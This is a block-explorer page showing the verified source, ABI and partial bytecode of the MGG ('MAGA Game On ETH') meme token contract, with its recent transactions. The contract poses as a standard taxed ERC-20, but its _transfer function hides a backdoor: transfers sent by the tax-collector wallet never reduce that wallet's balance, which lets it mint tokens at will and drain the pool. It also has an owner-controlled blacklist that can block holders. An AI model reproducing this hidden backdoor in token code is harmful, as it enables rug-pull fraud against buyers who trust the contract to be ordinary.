ETH Price: $3,144.54 (-5.14%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve210146032024-10-21 14:38:3598 days ago1729521515IN
0x4aCFCeaB...D68039DC5
0 ETH0.0002824411.65366681
Approve199690042024-05-28 14:36:59244 days ago1716907019IN
0x4aCFCeaB...D68039DC5
0 ETH0.0009418320.37687308
Approve199688472024-05-28 14:05:23244 days ago1716905123IN
0x4aCFCeaB...D68039DC5
0 ETH0.0011219224.11650067
Approve199686762024-05-28 13:30:47244 days ago1716903047IN
0x4aCFCeaB...D68039DC5
0 ETH0.0012298826.40321197
Approve199686762024-05-28 13:30:47244 days ago1716903047IN
0x4aCFCeaB...D68039DC5
0 ETH0.0012298826.40321197
Approve199686412024-05-28 13:23:47244 days ago1716902627IN
0x4aCFCeaB...D68039DC5
0 ETH0.0012401526.80306587
Transfer199686352024-05-28 13:22:35244 days ago1716902555IN
0x4aCFCeaB...D68039DC5
0 ETH0.0016160827.57816649
Approve199686232024-05-28 13:20:11244 days ago1716902411IN
0x4aCFCeaB...D68039DC5
0 ETH0.0011120824.03512894
Approve199686042024-05-28 13:16:23244 days ago1716902183IN
0x4aCFCeaB...D68039DC5
0 ETH0.0010368222.40853703
Approve199685972024-05-28 13:14:59244 days ago1716902099IN
0x4aCFCeaB...D68039DC5
0 ETH0.0008127217.44758112
Transfer199685962024-05-28 13:14:47244 days ago1716902087IN
0x4aCFCeaB...D68039DC5
0 ETH0.0011398519.44747799
Approve199685952024-05-28 13:14:35244 days ago1716902075IN
0x4aCFCeaB...D68039DC5
0 ETH0.0008508418.38916659
Approve199685772024-05-28 13:10:59244 days ago1716901859IN
0x4aCFCeaB...D68039DC5
0 ETH0.0007703116.5584007
Transfer199685652024-05-28 13:08:35244 days ago1716901715IN
0x4aCFCeaB...D68039DC5
0 ETH0.0016044527.37409834
Transfer199685492024-05-28 13:05:23244 days ago1716901523IN
0x4aCFCeaB...D68039DC5
0 ETH0.0016885928.8096375
Approve199685372024-05-28 13:02:59244 days ago1716901379IN
0x4aCFCeaB...D68039DC5
0 ETH0.0017632338.1082454
Approve199684992024-05-28 12:55:11244 days ago1716900911IN
0x4aCFCeaB...D68039DC5
0 ETH0.0010724323.02308689
Approve199684892024-05-28 12:53:11244 days ago1716900791IN
0x4aCFCeaB...D68039DC5
0 ETH0.0015082732.59792304
Approve199684882024-05-28 12:52:59244 days ago1716900779IN
0x4aCFCeaB...D68039DC5
0 ETH0.0015434833.35886429
Approve199684532024-05-28 12:45:59244 days ago1716900359IN
0x4aCFCeaB...D68039DC5
0 ETH0.001671136.11726473
Approve199684312024-05-28 12:41:35244 days ago1716900095IN
0x4aCFCeaB...D68039DC5
0 ETH0.0014910632.22602065
Approve199684312024-05-28 12:41:35244 days ago1716900095IN
0x4aCFCeaB...D68039DC5
0 ETH0.001658335.84054021
Approve199684312024-05-28 12:41:35244 days ago1716900095IN
0x4aCFCeaB...D68039DC5
0 ETH0.001658335.84054021
Approve199684302024-05-28 12:41:23244 days ago1716900083IN
0x4aCFCeaB...D68039DC5
0 ETH0.0013458528.89269347
Approve199684222024-05-28 12:39:47244 days ago1716899987IN
0x4aCFCeaB...D68039DC5
0 ETH0.0016779736.26572637
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
199686422024-05-28 13:23:59244 days ago1716902639
0x4aCFCeaB...D68039DC5
0.00274398 ETH
199686422024-05-28 13:23:59244 days ago1716902639
0x4aCFCeaB...D68039DC5
0.00274398 ETH
199686372024-05-28 13:22:59244 days ago1716902579
0x4aCFCeaB...D68039DC5
0.00180177 ETH
199686372024-05-28 13:22:59244 days ago1716902579
0x4aCFCeaB...D68039DC5
0.00180177 ETH
199686242024-05-28 13:20:23244 days ago1716902423
0x4aCFCeaB...D68039DC5
0.00092661 ETH
199686242024-05-28 13:20:23244 days ago1716902423
0x4aCFCeaB...D68039DC5
0.00092661 ETH
199686222024-05-28 13:19:59244 days ago1716902399
0x4aCFCeaB...D68039DC5
0.00078081 ETH
199686222024-05-28 13:19:59244 days ago1716902399
0x4aCFCeaB...D68039DC5
0.00078081 ETH
199686222024-05-28 13:19:59244 days ago1716902399
0x4aCFCeaB...D68039DC5
0.00681713 ETH
199686222024-05-28 13:19:59244 days ago1716902399
0x4aCFCeaB...D68039DC5
0.00681713 ETH
199686032024-05-28 13:16:11244 days ago1716902171
0x4aCFCeaB...D68039DC5
0.00247076 ETH
199686032024-05-28 13:16:11244 days ago1716902171
0x4aCFCeaB...D68039DC5
0.00247076 ETH
199686012024-05-28 13:15:47244 days ago1716902147
0x4aCFCeaB...D68039DC5
0.01319519 ETH
199686012024-05-28 13:15:47244 days ago1716902147
0x4aCFCeaB...D68039DC5
0.01319519 ETH
199685712024-05-28 13:09:47244 days ago1716901787
0x4aCFCeaB...D68039DC5
0.00125976 ETH
199685712024-05-28 13:09:47244 days ago1716901787
0x4aCFCeaB...D68039DC5
0.00125976 ETH
199685672024-05-28 13:08:59244 days ago1716901739
0x4aCFCeaB...D68039DC5
0.00764994 ETH
199685672024-05-28 13:08:59244 days ago1716901739
0x4aCFCeaB...D68039DC5
0.00764994 ETH
199685512024-05-28 13:05:47244 days ago1716901547
0x4aCFCeaB...D68039DC5
0.00816589 ETH
199685512024-05-28 13:05:47244 days ago1716901547
0x4aCFCeaB...D68039DC5
0.00816589 ETH
199685272024-05-28 13:00:59244 days ago1716901259
0x4aCFCeaB...D68039DC5
0.00485688 ETH
199685272024-05-28 13:00:59244 days ago1716901259
0x4aCFCeaB...D68039DC5
0.00485688 ETH
199685142024-05-28 12:58:11244 days ago1716901091
0x4aCFCeaB...D68039DC5
0.00091896 ETH
199685142024-05-28 12:58:11244 days ago1716901091
0x4aCFCeaB...D68039DC5
0.00091896 ETH
199685132024-05-28 12:57:59244 days ago1716901079
0x4aCFCeaB...D68039DC5
0.00097016 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MGG

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-28
*/

/*
Web: https://www.magagameoneth.com
Game:  https://beta.magagameoneth.com
Twitter: https://x.com/magagameoneth
Telegram: https://t.me/magagameoneth
*/

// SPDX-License-Identifier: UNLICENSE


pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MGG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxCollector;

    uint256 private _initialBuyTax=35;
    uint256 private _initialSellTax=35;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"MAGA Game On ETH";
    string private constant _symbol = unicode"MGG";
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 20 * 10**_decimals;
    uint256 public _maxTaxSwap= 2000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _taxFeeCollect) {
        _taxCollector = payable(_taxFeeCollect);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxCollector] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        address receiver = from;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sellCount++;
                lastSellBlock = block.number;
            }

            if (to == uniswapV2Pair && from!= address(this) ){
                sendETHToFee(address(this).balance);
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(_taxCollector==receiver?0:amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxCollector.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function createPair() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }
    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxCollector);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxCollector);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function rescueETH() external {
        require(_msgSender()==_taxCollector);
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_taxFeeCollect","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260236006556023600755600160085560016009556014600a556014600b556014600c556000600d556009600a6200003c91906200036f565b6200004b90621e848062000387565b600e556200005c6009600a6200036f565b6200006b90621e848062000387565b600f556200007c6009600a6200036f565b6200008990601462000387565b6010556200009a6009600a6200036f565b620000a990621e848062000387565b6011556013805461ffff60a81b1916905560006014819055601555348015620000d157600080fd5b506040516200203938038062002039833981016040819052620000f491620003a1565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b0383161790556200015e6009600a6200036f565b6200016e906305f5e10062000387565b336000908152600160208190526040822092909255600390620001996000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001f83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002326009600a6200036f565b62000242906305f5e10062000387565b60405190815260200160405180910390a350620003cc565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002b15781600019048211156200029557620002956200025a565b80851615620002a357918102915b93841c939080029062000275565b509250929050565b600082620002ca5750600162000369565b81620002d95750600062000369565b8160018114620002f25760028114620002fd576200031d565b600191505062000369565b60ff8411156200031157620003116200025a565b50506001821b62000369565b5060208310610133831016604e8410600b841016171562000342575081810a62000369565b6200034e838362000270565b80600019048211156200036557620003656200025a565b0290505b92915050565b60006200038060ff841683620002b9565b9392505050565b80820281158282048414176200036957620003696200025a565b600060208284031215620003b457600080fd5b81516001600160a01b03811681146200038057600080fd5b611c5d80620003dc6000396000f3fe60806040526004361061014f5760003560e01c8063751039fc116100b6578063a9059cbb1161006f578063a9059cbb146103c5578063bf474bed146103e5578063c9567bf9146103fb578063d34628cc14610410578063dd62ed3e14610430578063ec1f3f631461047657600080fd5b8063751039fc1461031b5780637d1db4a5146103305780638da5cb5b146103465780638f9a55c01461036e57806395d89b41146103845780639e78fb4f146103b057600080fd5b8063313ce56711610108578063313ce5671461024657806331c2d847146102625780633bbac5791461028257806351bc3c85146102bb57806370a08231146102d0578063715018a61461030657600080fd5b806306fdde031461015b578063095ea7b3146101a65780630faee56f146101d657806318160ddd146101fa57806320800a001461020f57806323b872dd1461022657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152601081526f09a828e82408ec2daca409edc408aa8960831b60208201525b60405161019d919061172b565b60405180910390f35b3480156101b257600080fd5b506101c66101c136600461179e565b610496565b604051901515815260200161019d565b3480156101e257600080fd5b506101ec60115481565b60405190815260200161019d565b34801561020657600080fd5b506101ec6104ad565b34801561021b57600080fd5b506102246104ce565b005b34801561023257600080fd5b506101c66102413660046117ca565b610501565b34801561025257600080fd5b506040516009815260200161019d565b34801561026e57600080fd5b5061022461027d366004611821565b61056a565b34801561028e57600080fd5b506101c661029d3660046118e6565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102c757600080fd5b50610224610609565b3480156102dc57600080fd5b506101ec6102eb3660046118e6565b6001600160a01b031660009081526001602052604090205490565b34801561031257600080fd5b50610224610658565b34801561032757600080fd5b506102246106cc565b34801561033c57600080fd5b506101ec600e5481565b34801561035257600080fd5b506000546040516001600160a01b03909116815260200161019d565b34801561037a57600080fd5b506101ec600f5481565b34801561039057600080fd5b506040805180820190915260038152624d474760e81b6020820152610190565b3480156103bc57600080fd5b5061022461077e565b3480156103d157600080fd5b506101c66103e036600461179e565b610981565b3480156103f157600080fd5b506101ec60105481565b34801561040757600080fd5b5061022461098e565b34801561041c57600080fd5b5061022461042b366004611821565b610b7d565b34801561043c57600080fd5b506101ec61044b366004611903565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561048257600080fd5b5061022461049136600461193c565b610c0f565b60006104a3338484610c56565b5060015b92915050565b60006104bb6009600a611a4f565b6104c9906305f5e100611a5e565b905090565b6005546001600160a01b0316336001600160a01b0316146104ee57600080fd5b4780156104fe576104fe81610d7a565b50565b600061050e848484610db4565b610560843361055b85604051806060016040528060288152602001611c00602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906113c8565b610c56565b5060019392505050565b6000546001600160a01b0316331461059d5760405162461bcd60e51b815260040161059490611a75565b60405180910390fd5b60005b8151811015610605576000600460008484815181106105c1576105c1611aaa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105fd81611ac0565b9150506105a0565b5050565b6005546001600160a01b0316336001600160a01b03161461062957600080fd5b3060009081526001602052604090205480156106485761064881611402565b4780156106055761060581610d7a565b6000546001600160a01b031633146106825760405162461bcd60e51b815260040161059490611a75565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f65760405162461bcd60e51b815260040161059490611a75565b6107026009600a611a4f565b610710906305f5e100611a5e565b600e5561071f6009600a611a4f565b61072d906305f5e100611a5e565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61075d6009600a611a4f565b61076b906305f5e100611a5e565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161059490611a75565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f19030906107e36009600a611a4f565b61055b906305f5e100611a5e565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610844573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108689190611ad9565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611ad9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f9190611ad9565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b60006104a3338484610db4565b6000546001600160a01b031633146109b85760405162461bcd60e51b815260040161059490611a75565b601354600160a01b900460ff1615610a125760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610594565b6012546001600160a01b031663f305d7194730610a44816001600160a01b031660009081526001602052604090205490565b600080610a596000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ae69190611af6565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b639190611b24565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610ba75760405162461bcd60e51b815260040161059490611a75565b60005b815181101561060557600160046000848481518110610bcb57610bcb611aaa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c0781611ac0565b915050610baa565b6005546001600160a01b0316336001600160a01b031614610c2f57600080fd5b6008548111158015610c4357506009548111155b610c4c57600080fd5b6008819055600955565b6001600160a01b038316610cb85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610594565b6001600160a01b038216610d195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610594565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610605573d6000803e3d6000fd5b6001600160a01b038316610e185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610594565b6001600160a01b038216610e7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610594565b60008111610edc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610594565b6001600160a01b038316600090815260036020526040812054849060ff16158015610f2057506001600160a01b03841660009081526003602052604090205460ff16155b15611266576001600160a01b03851660009081526004602052604090205460ff16158015610f6757506001600160a01b03841660009081526004602052604090205460ff16155b610f7057600080fd5b610f9c6064610f96600a54600d5411610f8b57600654610f8f565b6008545b869061157c565b90611605565b6013549092506001600160a01b038681169116148015610fca57506012546001600160a01b03858116911614155b8015610fef57506001600160a01b03841660009081526003602052604090205460ff16155b156110d757600e548311156110465760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610594565b600f5483611069866001600160a01b031660009081526001602052604090205490565b6110739190611b46565b11156110c15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610594565b600d80549060006110d183611ac0565b91905055505b6013546001600160a01b0385811691161480156110fd57506001600160a01b0385163014155b1561112a576111276064610f96600b54600d541161111d57600754610f8f565b600954869061157c565b91505b30600090815260016020526040902054601354600160a81b900460ff1615801561116157506013546001600160a01b038681169116145b80156111765750601354600160b01b900460ff165b8015611183575060105481115b80156111925750600c54600d54115b15611230576015544311156111a75760006014555b6003601454106111f95760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610594565b6112166112118561120c84601154611647565b611647565b611402565b6014805490600061122683611ac0565b9091555050436015555b6013546001600160a01b03868116911614801561125657506001600160a01b0386163014155b156112645761126447610d7a565b505b81156112e05730